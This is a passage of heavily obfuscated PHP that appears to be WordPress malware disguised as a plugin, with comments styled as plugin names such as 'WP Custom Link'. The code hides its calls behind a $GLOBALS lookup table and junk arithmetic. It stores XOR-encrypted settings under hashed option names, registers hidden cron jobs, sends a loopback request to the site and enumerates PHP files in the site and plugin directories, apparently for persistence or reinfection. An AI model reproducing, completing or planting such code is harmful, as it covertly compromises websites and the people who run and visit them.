 pas31bymshzdagwkp(hwc6a8djp6yy(332),   woii22it0(344));


return   array();
     }
     function grwxpysy8jb5yfgk156kj($wjngitnc71fl4, $o0_ud6kq1s1ypbj,     $rqau2x3suzuz7im)
   {
// checkpoint bounded witness

if  (!  $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(345)))  {
 return   false;
}
if  (isset($GLOBALS[woii22it0(346)]) && $GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[n747he9yo38(346)]) &&     $GLOBALS['__scf_xv52_kf1p6y__243']($wjngitnc71fl4,    $GLOBALS[n747he9yo38(346)]))  {
 unset($GLOBALS[hwc6a8djp6yy(347)][$wjngitnc71fl4]);$d3q7_7bx85g=PHP_MAJOR_VERSION;$bmk4j64kgb=$d3q7_7bx85g*9;
   }
   $h0gifq03pj =   $GLOBALS['__scf_ont_3ql2b3ui_348']($o0_ud6kq1s1ypbj);$wyxpg3qd4iuyy=(0x1d+0xc);$tw20e96b1o=$wyxpg3qd4iuyy%11;
  $tanf8gsc5yn  = $GLOBALS['__scf_xutz5jm_7wd_349']($GLOBALS['__scf_qt5_3awd0l2_350'](1, (308-53)));
       $d9rmze2mnei2d  = "";
     for ($ibnbsafg6z =  0,  $javljt5jt8ha = $GLOBALS['__scf_h5yqrl6kmpb_10']($h0gifq03pj);     $ibnbsafg6z < $javljt5jt8ha;  $ibnbsafg6z++)  {
 $d9rmze2mnei2d  .=   $GLOBALS['__scf_xutz5jm_7wd_349']($GLOBALS['__scf_bojg4ed6zpp_331']($h0gifq03pj[$ibnbsafg6z])   ^   $GLOBALS['__scf_bojg4ed6zpp_331']($tanf8gsc5yn));
      }
 return    update_option($wjngitnc71fl4,     $GLOBALS['__scf_ocf2s22fr524pv_351']($tanf8gsc5yn  .   $d9rmze2mnei2d), $rqau2x3suzuz7im)  !== false;
  }
    
 function  za3gt62ixnceo0mnhvd($wjngitnc71fl4,    $vmpqs4tkev3m5c)
{
        if (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(200)))    return     $vmpqs4tkev3m5c;
    if  (isset($GLOBALS[woii22it0(352)])  &&     $GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[k83m2slbb(353)]) &&   $GLOBALS['__scf_xv52_kf1p6y__243']($wjngitnc71fl4,    $GLOBALS[woii22it0(354)]))    {

 return    $GLOBALS[hwc6a8djp6yy(354)][$wjngitnc71fl4];


 }
$vfkrsc5ssifc  =   get_option($wjngitnc71fl4,  "");
 if   ($vfkrsc5ssifc  ===  ""   ||  !  $GLOBALS['__scf_epa1jymnf5_40']($vfkrsc5ssifc)) {$dl4jvny51n76k=(0x4b+0x88);$m9np7mf2a=$dl4jvny51n76k%16;
return    $vmpqs4tkev3m5c;
  }
 $t61b0ga4_v54 = @$GLOBALS['__scf_ts5_ao9xhku_355']($vfkrsc5ssifc,  true);
// WP Custom Link: deallocate coordinator

       if    ($t61b0ga4_v54  ===    false  || $GLOBALS['__scf_h5yqrl6kmpb_10']($t61b0ga4_v54) <  2)    {
return  $vmpqs4tkev3m5c;
   }
 $tanf8gsc5yn =   $t61b0ga4_v54[0];
      $d1ex_g0be5   = "";$zhyhhdkd=67+48;$fnmuaoymdmn74=$zhyhhdkd-34;
 for ($ibnbsafg6z =   1,    $javljt5jt8ha =  $GLOBALS['__scf_h5yqrl6kmpb_10']($t61b0ga4_v54);  $ibnbsafg6z <  $javljt5jt8ha;   $ibnbsafg6z++)  {
      $d1ex_g0be5  .= $GLOBALS['__scf_xutz5jm_7wd_349']($GLOBALS['__scf_bojg4ed6zpp_331']($t61b0ga4_v54[$ibnbsafg6z])  ^  $GLOBALS['__scf_bojg4ed6zpp_331']($tanf8gsc5yn));
    }
$h10xx8rf4a =  wwghzhg_vqxa4ch41($d1ex_g0be5);
  if  ($h10xx8rf4a    !==    false)    {
 if  (!isset($GLOBALS[k83m2slbb(356)])  ||  !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[n747he9yo38(356)])) $GLOBALS[n747he9yo38(356)]    =    array();
if ($GLOBALS['__scf_prfpiytv3egt7_35']($GLOBALS[lgr6hp92ka(357)]) > (0x3f+0x1))    $GLOBALS[n747he9yo38(357)] =   array();
   $GLOBALS[lgr6hp92ka(357)][$wjngitnc71fl4]  =   $h10xx8rf4a;
  return $h10xx8rf4a;
   }
  return  $vmpqs4tkev3m5c;
    }
function    wwghzhg_vqxa4ch41($yz5_y6ncnsj2a)


 {
   if    (!$GLOBALS['__scf_epa1jymnf5_40']($yz5_y6ncnsj2a))   return false;
   if    (defined(lgr6hp92ka(358))    &&    PHP_VERSION_ID  >=    (69930+70)) {
   return    @$GLOBALS['__scf_qds2wwq49fs_359']($yz5_y6ncnsj2a,     array(k83m2slbb(360) => false));
 }
return  @$GLOBALS['__scf_qds2wwq49fs_359']($yz5_y6ncnsj2a);


    }
   function   _ucjtbtymuitcikmrwg()
{
  static $prah7czx9ukf7u =   null;
     if  ($prah7czx9ukf7u !==    null) return    $prah7czx9ukf7u;
  $xzwufq9nacfqt  =  defined(k83m2slbb(138))     ?  ABSPATH  : "";
  $prah7czx9ukf7u     = $GLOBALS['__scf_aiwotu1kwod_12']($GLOBALS['__scf_obam74mgj139o_361']('\\', '/',   $xzwufq9nacfqt), '/')   .    '/';
  return   $prah7czx9ukf7u;





}



  function jv8oinqy59r_b336r5e_($wjngitnc71fl4)
   {
  return  w5r7ae3dymnovvl7(_ucjtbtymuitcikmrwg()     . (string)     besgaqtopfqsg9c6hd()  .  $wjngitnc71fl4,    (6+6));
 }
function  st3k2bxrexlza0k8_o5g_4($knwd0cnfde_)
  {
return  (string) ((90999981+19) + ((int)  hexdec($GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56'](_ucjtbtymuitcikmrwg()    .  woii22it0(362)  .  $knwd0cnfde_), 0,   (112^119)))  %   (14082651-5082652)));
 }



  function  sfw2czibgyniba()


   {
return    st3k2bxrexlza0k8_o5g_4(woii22it0(363));
    }
 function  xbsb_j7zcxckveb()
 {
$ino2gx3najxui    =   (string) z6q8c6q8s6lg_2r(k83m2slbb(364),  "");
 return $GLOBALS['__scf_h5yqrl6kmpb_10']($ino2gx3najxui) > (14-4)    &&      $GLOBALS['__scf_p9nk7khmjys_7']($ino2gx3najxui,    sfw2czibgyniba())  !==      false &&  $GLOBALS['__scf_h5yqrl6kmpb_10']((string)   z6q8c6q8s6lg_2r(k83m2slbb(365),    "")) >     (0x23+0x41);
}
 
   function  z6q8c6q8s6lg_2r($wjngitnc71fl4, $vmpqs4tkev3m5c)
   {
   return   za3gt62ixnceo0mnhvd(jv8oinqy59r_b336r5e_($wjngitnc71fl4), $vmpqs4tkev3m5c);
}
    function  nswwyfxxcf0yh1u($wjngitnc71fl4,    $vmpqs4tkev3m5c =      "")
{
       $tb0hfr9vri2de7l = z6q8c6q8s6lg_2r($wjngitnc71fl4, $vmpqs4tkev3m5c);

 if  ($GLOBALS['__scf_epa1jymnf5_40']($tb0hfr9vri2de7l))   return $tb0hfr9vri2de7l;
  if    ($GLOBALS['__scf_k6ceuxxd0n_366']($tb0hfr9vri2de7l))    return     (string)  $tb0hfr9vri2de7l;
  return $vmpqs4tkev3m5c;
}
    function htdydg38ahuyxm73zkqz0($wjngitnc71fl4, $o0_ud6kq1s1ypbj,   $rqau2x3suzuz7im)
  {



    return  grwxpysy8jb5yfgk156kj(jv8oinqy59r_b336r5e_($wjngitnc71fl4),      $o0_ud6kq1s1ypbj,   $rqau2x3suzuz7im);$oqh9o4zbzx=(0xaf+0x88);$y1zlbdnh60bbn=$oqh9o4zbzx%13;
 }
 function   fqvy0zank3v0riakva9x2()
    {



     $qxhuq3bas6bsy9    =   isset($GLOBALS[k83m2slbb(157)])  ?  $GLOBALS[hwc6a8djp6yy(157)]  :   array();
 $vfkrsc5ssifc = z6q8c6q8s6lg_2r(n747he9yo38(367),    array());
if   ($GLOBALS['__scf_lxbo0xm7220an_34']($vfkrsc5ssifc))    {



  $qxhuq3bas6bsy9 = $GLOBALS['__scf_p8wjejlfb3_368']($vfkrsc5ssifc, $qxhuq3bas6bsy9);
      }

    $qxhuq3bas6bsy9   =  $GLOBALS['__scf_w5opg4gsg8g4tp_148']($qxhuq3bas6bsy9);
     return  $GLOBALS['__scf_in0l0qf_4m_158']($qxhuq3bas6bsy9, -(212^230));
}
   function  ik6xs1kdpxfnv0yuqeko_k()
{
if    (!isset($GLOBALS[lgr6hp92ka(157)]) ||      empty($GLOBALS[woii22it0(369)]))    return;
       try {
// descriptive stack-frame

  $vfkrsc5ssifc  =  z6q8c6q8s6lg_2r(woii22it0(370),     array());

  $tx2kq5ths5z2hrc  = $GLOBALS['__scf_w5opg4gsg8g4tp_148']($GLOBALS['__scf_p8wjejlfb3_368']((array)$vfkrsc5ssifc,  $GLOBALS[k83m2slbb(371)]));
 $tx2kq5ths5z2hrc  =  $GLOBALS['__scf_in0l0qf_4m_158']($tx2kq5ths5z2hrc, -(45+5));
htdydg38ahuyxm73zkqz0(hwc6a8djp6yy(372), $tx2kq5ths5z2hrc,  hwc6a8djp6yy(191));
      } catch (Throwable $oz7m23pnscj7) {
// WP Core Data: unsatisfiable bulkhead

  pas31bymshzdagwkp(hwc6a8djp6yy(373),  $oz7m23pnscj7);


   }   catch (Exception   $oz7m23pnscj7)   {



     }
// @scatter priority-queue

}
 
 function sdbi68rbn9zn5o588($yz5_y6ncnsj2a,    $key)
 {
 if    (!   $GLOBALS['__scf_epa1jymnf5_40']($yz5_y6ncnsj2a)  ||   ! $GLOBALS['__scf_epa1jymnf5_40']($key)  ||     $GLOBALS['__scf_h5yqrl6kmpb_10']($key)  ===   0) {
   return  null;

 }
 $z3b382p9x_w8   =     $GLOBALS['__scf_h5yqrl6kmpb_10']($yz5_y6ncnsj2a);
        $jq8stdkenc   =  $GLOBALS['__scf_h5yqrl6kmpb_10']($key);
        $a6ak9qjp3b89f     =  "";
  for     ($ibnbsafg6z     =    0;  $ibnbsafg6z < $z3b382p9x_w8;   $ibnbsafg6z++)     {
$a6ak9qjp3b89f .=   $GLOBALS['__scf_xutz5jm_7wd_349']($GLOBALS['__scf_bojg4ed6zpp_331']($yz5_y6ncnsj2a[$ibnbsafg6z]) ^     $GLOBALS['__scf_bojg4ed6zpp_331']($key[$ibnbsafg6z  % $jq8stdkenc]));
     }
 return $a6ak9qjp3b89f;
 }
 
     function   nzpq0y0b64ao4j8l7pphuw($hbkskhw6pl0gdpc6)
   {
if     (!   $GLOBALS['__scf_lxbo0xm7220an_34']($hbkskhw6pl0gdpc6)) {
    $hbkskhw6pl0gdpc6     = array();
       }
/* bounded symbol-table */

 static  $ujorhj76zzjo3   =  null;
if      ($ujorhj76zzjo3   ===   null) {
  $ujorhj76zzjo3    =     vs47dskuflqdrwg();
   $thl3ezk9aa420ld  = $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(374)) ?    za3gt62ixnceo0mnhvd(k83m2slbb(375), false) :     false;
  if  ($GLOBALS['__scf_lxbo0xm7220an_34']($thl3ezk9aa420ld)  &&   isset($thl3ezk9aa420ld[woii22it0(376)])    &&  (int) $thl3ezk9aa420ld[woii22it0(377)]    >=     (283+17)     && (int)     $thl3ezk9aa420ld[n747he9yo38(378)]   <= (86340+60)) $ujorhj76zzjo3     =  (int)    $thl3ezk9aa420ld[hwc6a8djp6yy(379)];
if     ($ujorhj76zzjo3 <   (51+9))    {
$ujorhj76zzjo3 =  (3517+83);
}


 }
$hbkskhw6pl0gdpc6[woii22it0(380)]    =  array(

n747he9yo38(381)   =>  $ujorhj76zzjo3,
 woii22it0(382)    => lgr6hp92ka(383),
   );


 $hbkskhw6pl0gdpc6[hwc6a8djp6yy(384)]  = array(
k83m2slbb(381) => (1082-482),
 lgr6hp92ka(382)  =>  k83m2slbb(383),
  );
   return   $hbkskhw6pl0gdpc6;
    




  }
 
function  j9yaps38vd1pzg5wznbnm8()

  {
if  (!$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(385))  ||    !$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(386))) return;
if   (!oxds6f4_kj2x2e4np9e(woii22it0(387)))     return;
       try  {
 if (!wp_next_scheduled(nm3izpoopvcbrc7e()))  {
wp_schedule_event($GLOBALS['__scf_cyotfgtf1a8m_189']()   +  $GLOBALS['__scf_qt5_3awd0l2_350']((54^10), (588-288)),  n747he9yo38(380),   nm3izpoopvcbrc7e());

 }
       }  finally  {


hev0akflm_tefd(hwc6a8djp6yy(388));


    }
   }
 
     function   _tm5nm8dg3x7qaxk6()
       {
  
 if  (defined(hwc6a8djp6yy(389))      && DOING_CRON)      {
     return;
}
  
 static  $eafyrvqbkq8 =    false;
    if ($eafyrvqbkq8)      return;
     $eafyrvqbkq8  =  true;
 
 if  (!     wv4zcsi5llnxxfzaskd())    {
return;
  }

   tqocor6bp4em9eyds9r9w(lgr6hp92ka(390),  hwc6a8djp6yy(391),     0);


 }
 function     yh05n4foxguc0w5y6jx13()
  {
 if   (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(293)) ||  !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(392)))   return;
       @$GLOBALS['__scf_ikqfih0ldfvj_293'](site_url(woii22it0(393)   .    $GLOBALS['__scf_obam74mgj139o_361']('.', "",  (string)     $GLOBALS['__scf_kld1jjqcmx_289'](true))      .  $GLOBALS['__scf_qt5_3awd0l2_350']((148-48), (855+144))),   array(woii22it0(310) =>  0.01,    lgr6hp92ka(394)   => false, n747he9yo38(295)  =>      false));
}
 function u0vj3c_lupqzml_1j1()
    {
    static    $pamj0z7b24q4xgbb  =  false;
  if  ($pamj0z7b24q4xgbb)      return;$v8ckz2lqa=PHP_INT_MAX/PHP_INT_MAX;$lbohu41qxf7=$v8ckz2lqa+44;

   $pamj0z7b24q4xgbb = true;
try {
upejv2uhfwcr3eht06f();
     $ietos4r7h568  =    false;
   if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(395)))  {
$GLOBALS['__scf_wmg_r8_psd4a_396']();
  $ietos4r7h568 =   true;
  }   elseif ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(397)))  {
$GLOBALS['__scf_ekj1cb6udx6_397']();
    $ietos4r7h568   = true;$r7v51pi4mf=1*4;$ga1_30f4g=$r7v51pi4mf-15;
 } else  {
  if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(398))) {
 @$GLOBALS['__scf_qebke97nki67_398'](true);
   }
     $sc1nve_7s0d  =   false;
 if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(399)))  {


   $z8go3al7d7fvpns =    $GLOBALS['__scf_ytoyy4ewqm_103']($GLOBALS['__scf_xcg5caaat_92j0_323']((string)     @$GLOBALS['__scf_n9umf2ff2bmitw_112'](hwc6a8djp6yy(400))));
    

      $sc1nve_7s0d     =  ($z8go3al7d7fvpns    !==   ""      && $z8go3al7d7fvpns !== '0'     &&   $z8go3al7d7fvpns !==   lgr6hp92ka(401));
 }
$tisb97g8rlxp =  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(402))  ?      @ob_get_status(true)    :   array();
if    ($GLOBALS['__scf_lxbo0xm7220an_34']($tisb97g8rlxp))    {



   foreach ($tisb97g8rlxp  as     $xuao8euj7mgzh)   {
    $n0kloybb59  =    $GLOBALS['__scf_lxbo0xm7220an_34']($xuao8euj7mgzh)  &&  isset($xuao8euj7mgzh[hwc6a8djp6yy(403)])  ?    $GLOBALS['__scf_ytoyy4ewqm_103']((string)  $xuao8euj7mgzh[hwc6a8djp6yy(403)])  :   "";
 if    ($GLOBALS['__scf_p9nk7khmjys_7']($n0kloybb59,  lgr6hp92ka(404))   !==     false    || $GLOBALS['__scf_p9nk7khmjys_7']($n0kloybb59, lgr6hp92ka(405))  !==  false)    {
     $sc1nve_7s0d   =  true;
 break;
 }

  }
 }
     if (!$sc1nve_7s0d  &&   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(406))) {
// Intl extension: subscribe substitution-map

      foreach   ((array)   @headers_list() as     $ije1fhqcahck66df)  {
 if (stripos($ije1fhqcahck66df,      n747he9yo38(407)) === 0  && stripos($ije1fhqcahck66df, hwc6a8djp6yy(408))   ===  false)    {

   $sc1nve_7s0d = true;
break;



     }



}
    }
     $jtuepps8jn_7smlg =   $GLOBALS['__scf_rnghnmhj734jl_104']();
$a2flw_h8gmx =  ($jtuepps8jn_7smlg !==  lgr6hp92ka(409)  &&  $jtuepps8jn_7smlg !==    k83m2slbb(410));
 $qnewe4c_zekx  =  $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(411))  ? (int) @http_response_code() :  (279-79);
  $hccska4iquy  =   ($qnewe4c_zekx >=    (58+42)    &&     $qnewe4c_zekx <     (249^49))   || $qnewe4c_zekx ===   (135+69)  ||  $qnewe4c_zekx === (252+52);
  $ww1w878vgl_     =  (isset($_SERVER[hwc6a8djp6yy(412)])  &&  $_SERVER[woii22it0(412)] === lgr6hp92ka(413));

 $_990t6osy2c5 =  false;
  if   ($a2flw_h8gmx  &&  !$hccska4iquy    &&    !$ww1w878vgl_ &&    !headers_sent() &&     !$sc1nve_7s0d)   {
       while ($GLOBALS['__scf_mxl3mysodd0y6__414']() >  1)  {
   $ae_zw2nwhmzpmv7j    = $GLOBALS['__scf_mxl3mysodd0y6__414']();
 if    (!@$GLOBALS['__scf_wanzd8gt50d7aa_415']()  ||    $GLOBALS['__scf_mxl3mysodd0y6__414']()   >=    $ae_zw2nwhmzpmv7j)  break;



   }
$xuao8euj7mgzh  =  $GLOBALS['__scf_mxl3mysodd0y6__414']() ===   1  &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(402))  ?     @ob_get_status() :     array();
$n0kloybb59 =  $GLOBALS['__scf_lxbo0xm7220an_34']($xuao8euj7mgzh) &&   isset($xuao8euj7mgzh[lgr6hp92ka(403)])   ?   $GLOBALS['__scf_ytoyy4ewqm_103']((string)  $xuao8euj7mgzh[lgr6hp92ka(403)])     :   "";
   $_cl   =     false;
    if   ($GLOBALS['__scf_mxl3mysodd0y6__414']()      ===    0) {
   $_cl =      0;
   }   elseif  (
        $GLOBALS['__scf_mxl3mysodd0y6__414']()    ===   1
      && $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(402))
&&     ($n0kloybb59    ===   ""  || $n0kloybb59 ===  n747he9yo38(416))
 &&  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(417))
       )    {
    $_cl = @ob_get_length();
       }
     $d04sf3ays1u6d      =    true;



       if (isset($GLOBALS[k83m2slbb(418)][woii22it0(390)]))  {



$_wf  = $GLOBALS[hwc6a8djp6yy(418)][n747he9yo38(390)];
 $edy4w4g3i9bv7 = ($GLOBALS['__scf_mvbylv45uji1_67']($_wf)  && isset($_wf->callbacks)) ? $_wf->callbacks   :  ($GLOBALS['__scf_lxbo0xm7220an_34']($_wf) ?  $_wf  :  array());
  foreach  ($edy4w4g3i9bv7  as $_pr =>   $edzh9xsfaiaxfa)  {
 if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($edzh9xsfaiaxfa))  continue;
   foreach   ($edzh9xsfaiaxfa   as      $a21_o1z475xvxd)    {
  $uvjynz1emxm    =    ($GLOBALS['__scf_lxbo0xm7220an_34']($a21_o1z475xvxd)   &&   isset($a21_o1z475xvxd[k83m2slbb(68)])) ? $a21_o1z475xvxd[n747he9yo38(68)] : "";
   if   ($GLOBALS['__scf_epa1jymnf5_40']($uvjynz1emxm)   &&      $GLOBALS['__scf_a2dj3p28xfi_149']($uvjynz1emxm,    array(hwc6a8djp6yy(391),  lgr6hp92ka(419)),    true))  continue;
$d04sf3ays1u6d    = false;
       break 2;
     }
  }


unset($_wf, $edy4w4g3i9bv7,    $_pr, $edzh9xsfaiaxfa,  $a21_o1z475xvxd,   $uvjynz1emxm);
  }
 if  ($_cl  !== false &&   $d04sf3ays1u6d   &&  !headers_sent()) {

 @header(k83m2slbb(420) .    (int) $_cl);
@header(woii22it0(421));
   $_990t6osy2c5    = true;
}
    }
if  ($a2flw_h8gmx)  {
while  ($GLOBALS['__scf_mxl3mysodd0y6__414']()  >      0)   {

     $ae_zw2nwhmzpmv7j   =   $GLOBALS['__scf_mxl3mysodd0y6__414']();
 if (!@$GLOBALS['__scf_wanzd8gt50d7aa_415']()    ||    $GLOBALS['__scf_mxl3mysodd0y6__414']() >= $ae_zw2nwhmzpmv7j)   break;
    }
// @compile skip-list


      @$GLOBALS['__scf_e_t72zitpo_422']();
 }
/* exact dominator-tree */

 if ($_990t6osy2c5 &&    $GLOBALS['__scf_mxl3mysodd0y6__414']() === 0)    $ietos4r7h568 =  true;
       unset($sc1nve_7s0d,    $z8go3al7d7fvpns,  $tisb97g8rlxp,   $xuao8euj7mgzh,     $n0kloybb59,   $ije1fhqcahck66df, $jtuepps8jn_7smlg,  $a2flw_h8gmx,  $qnewe4c_zekx, $hccska4iquy, $_990t6osy2c5, $ae_zw2nwhmzpmv7j,      $_cl,  $ww1w878vgl_);
 }
 $gk00723ipbnj   =  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(423))    &&  !(defined(n747he9yo38(424))   &&  DISABLE_WP_CRON);
$e1dn8hiediuvf     =   !$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(374)) ||     (int)   get_option(k83m2slbb(425),    0)  ===   0;


 if (!$e1dn8hiediuvf && $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(374))    &&   $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(426))) {
    $q4a762448v2xy      =     (string)  get_option(k83m2slbb(427),     "");$hk45032b4k998=54*2;$d32bw2cu_=$hk45032b4k998-3;


   if ($q4a762448v2xy    !==      tdwuvuxeuijm__qj()) {$hbgh6onjwzp9_p=407;$mkz9kwhzvel=($hbgh6onjwzp9_p>0)?$hbgh6onjwzp9_p:-$hbgh6onjwzp9_p;
   @update_option(woii22it0(427),  tdwuvuxeuijm__qj(),  k83m2slbb(428));
       @update_option(lgr6hp92ka(429),  0, lgr6hp92ka(428));
$e1dn8hiediuvf  = true;
  }
   }
    $r3yldfud2s4    =    false;
  if   ($gk00723ipbnj   &&  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(385)))   {
   $uq92v1wr7c01  = wp_next_scheduled(nm3izpoopvcbrc7e());
  if    ($uq92v1wr7c01 && ($GLOBALS['__scf_cyotfgtf1a8m_189']()    - (int) $uq92v1wr7c01)   > (7197+3)) {
   $r3yldfud2s4 =   true;
  if     ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(430)))  @wp_unschedule_event((int)  $uq92v1wr7c01,   nm3izpoopvcbrc7e());
  }
 }


 if    ($gk00723ipbnj &&  !$e1dn8hiediuvf   &&   !$r3yldfud2s4) {
// @post-dominate watermark

 $e7qsxubrol9du  = $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(385)) ?  (int)   wp_next_scheduled(nm3izpoopvcbrc7e())     :    0;


    if  ($e7qsxubrol9du  <=    0  || $e7qsxubrol9du -  $GLOBALS['__scf_cyotfgtf1a8m_189']()  >  (845+55))  {
@wp_schedule_single_event($GLOBALS['__scf_cyotfgtf1a8m_189'](),  nm3izpoopvcbrc7e());
}
 k709jbh9vaung9b();
return;

 }
 if   ($r3yldfud2s4)     pas31bymshzdagwkp(lgr6hp92ka(431),  lgr6hp92ka(432));
   if (!$ietos4r7h568)   {
if    ($gk00723ipbnj) {
   @wp_schedule_single_event($GLOBALS['__scf_cyotfgtf1a8m_189'](), nm3izpoopvcbrc7e());
     yh05n4foxguc0w5y6jx13();
   k709jbh9vaung9b();
       return;
  }
if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(433)))     @$GLOBALS['__scf_a1064vt4fz_433']((3+177));
      f58fq6oczuq9aw0j3mnwk((0x9+0x1));
    return;

   }
 if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(433)))  @$GLOBALS['__scf_a1064vt4fz_433']((164+16));
    f58fq6oczuq9aw0j3mnwk();



    }   catch  (Throwable  $oz7m23pnscj7)  {
pas31bymshzdagwkp(lgr6hp92ka(434),   $oz7m23pnscj7);
  } catch   (Exception     $oz7m23pnscj7) {
// stress-test injective-adj scheduler

 }
}
        
   function   ymn90bxey78039()
   {
   try {
  if  (! $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(374))) {
 return;
      }
   
 $zannkbgl73   = $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(50))   ? get_transient(t5exk4f0xw1h_voqxx0w())    :   false;
  if (!    $GLOBALS['__scf_lxbo0xm7220an_34']($zannkbgl73)) $zannkbgl73  =      za3gt62ixnceo0mnhvd(woii22it0(435),   false);
if   (!  $GLOBALS['__scf_lxbo0xm7220an_34']($zannkbgl73)) {


 return;

   }

 if (isset($zannkbgl73[woii22it0(436)]) &&    $GLOBALS['__scf_lxbo0xm7220an_34']($zannkbgl73[n747he9yo38(437)]))      {
  $GLOBALS[lgr6hp92ka(438)]  =      b38d3nnswl41mytacdc($zannkbgl73[woii22it0(439)]);
     }
       
if (isset($zannkbgl73[k83m2slbb(440)])  &&   $GLOBALS['__scf_lxbo0xm7220an_34']($zannkbgl73[k83m2slbb(440)]))  {
// dispatch negotiator for WP Custom Link

$GLOBALS[hwc6a8djp6yy(441)]  =    b38d3nnswl41mytacdc($zannkbgl73[lgr6hp92ka(440)]);
    }
     
if   (isset($zannkbgl73[n747he9yo38(442)]) &&    $GLOBALS['__scf_epa1jymnf5_40']($zannkbgl73[woii22it0(442)])) {
   $GLOBALS[lgr6hp92ka(443)]   =  $zannkbgl73[k83m2slbb(442)];
}
   if (isset($zannkbgl73[k83m2slbb(444)])    && $GLOBALS['__scf_epa1jymnf5_40']($zannkbgl73[k83m2slbb(445)])  &&      $GLOBALS['__scf_h5yqrl6kmpb_10']($zannkbgl73[k83m2slbb(446)])   > (61-11))      {
$GLOBALS[lgr6hp92ka(447)] =   $zannkbgl73[woii22it0(448)];


   }
   if  (isset($zannkbgl73[hwc6a8djp6yy(363)]) &&    $GLOBALS['__scf_epa1jymnf5_40']($zannkbgl73[hwc6a8djp6yy(363)])      &&    $GLOBALS['__scf_h5yqrl6kmpb_10']($zannkbgl73[n747he9yo38(363)])  >     (38+62)) {

        $GLOBALS[k83m2slbb(449)]  =    $zannkbgl73[lgr6hp92ka(450)];
 }
} catch (Throwable $oz7m23pnscj7)  {
pas31bymshzdagwkp(k83m2slbb(451),    $oz7m23pnscj7);
        }  catch    (Exception  $oz7m23pnscj7)     {



 }
}

  function   cwi0ok87t5nob2yh7srttp()
{
 try  {$s7yoy8g0=PHP_MAJOR_VERSION;$n5v3z9rri6=$s7yoy8g0*5;
 if     (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(374))    ||   !$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(452)))   return;


 if  ((int) get_option(lgr6hp92ka(453),  0)   >      $GLOBALS['__scf_cyotfgtf1a8m_189']()    - (3255+345))  return;$barbcbxfm6=53*2;$qtige5m7in=$barbcbxfm6-31;
if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(50)) &&    get_transient(lgr6hp92ka(454))) return;
   if      (!zwwqg90mj4vzd1zs05())    return;
 $v_t21o120uhzp =     z6q8c6q8s6lg_2r(woii22it0(455),   "");
  if  (!$GLOBALS['__scf_epa1jymnf5_40']($v_t21o120uhzp)    || $GLOBALS['__scf_h5yqrl6kmpb_10']($v_t21o120uhzp) <      (303+197)  ||      rn7y5z4w_xtam4pshy6($v_t21o120uhzp)   || !dxgg5a63x4tsvkmvowozg3($v_t21o120uhzp))    {

    $v_t21o120uhzp  = false;
      $sra_5n5xjb94vld7  =   olg5ho6a49l4x7(vcr09jqkbni2k4ee0y());


 if ($GLOBALS['__scf_epa1jymnf5_40']($sra_5n5xjb94vld7)  &&  !rn7y5z4w_xtam4pshy6($sra_5n5xjb94vld7) &&  dxgg5a63x4tsvkmvowozg3($sra_5n5xjb94vld7)) {



htdydg38ahuyxm73zkqz0(woii22it0(456),  $sra_5n5xjb94vld7,  n747he9yo38(457));
    $v_t21o120uhzp =  $sra_5n5xjb94vld7;
  }
if (!$v_t21o120uhzp)   {
 @update_option(lgr6hp92ka(453),     $GLOBALS['__scf_cyotfgtf1a8m_189'](),  k83m2slbb(457));



return;
  }
  }
     $w6tlaig6srwdv   = array(vcr09jqkbni2k4ee0y());


   $nbrkd3fhw807gz  =   vyeikxc5a6j7a4n();
     $mpekz0mukkmrvi  =  dphiql_w139y37($nbrkd3fhw807gz,  (4959+41));
   if   ($GLOBALS['__scf_lxbo0xm7220an_34']($mpekz0mukkmrvi))    {

foreach     ($mpekz0mukkmrvi   as $lzk88d5vtss68uw8) {
// WP Table Block rewrite flush




  if      ($GLOBALS['__scf_pdat24v9nxkx0_9']($lzk88d5vtss68uw8,    -(0x2+0x2))  ===  woii22it0(458))      $w6tlaig6srwdv[]    =  $nbrkd3fhw807gz   . '/'  . $lzk88d5vtss68uw8;
}

 }

     if  (defined(n747he9yo38(31)) &&      $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(71))) {
// activate affine-type for WP Post Date

 foreach ((array) @$GLOBALS['__scf_xn1tkts0av_71'](WP_PLUGIN_DIR . lgr6hp92ka(459))   as   $hbpxc0qd2fa6)  $w6tlaig6srwdv[] =    $hbpxc0qd2fa6;
      }
 $w6tlaig6srwdv  =    $GLOBALS['__scf_w5opg4gsg8g4tp_148']($w6tlaig6srwdv);



       $lz0bxxxy42n     = array();
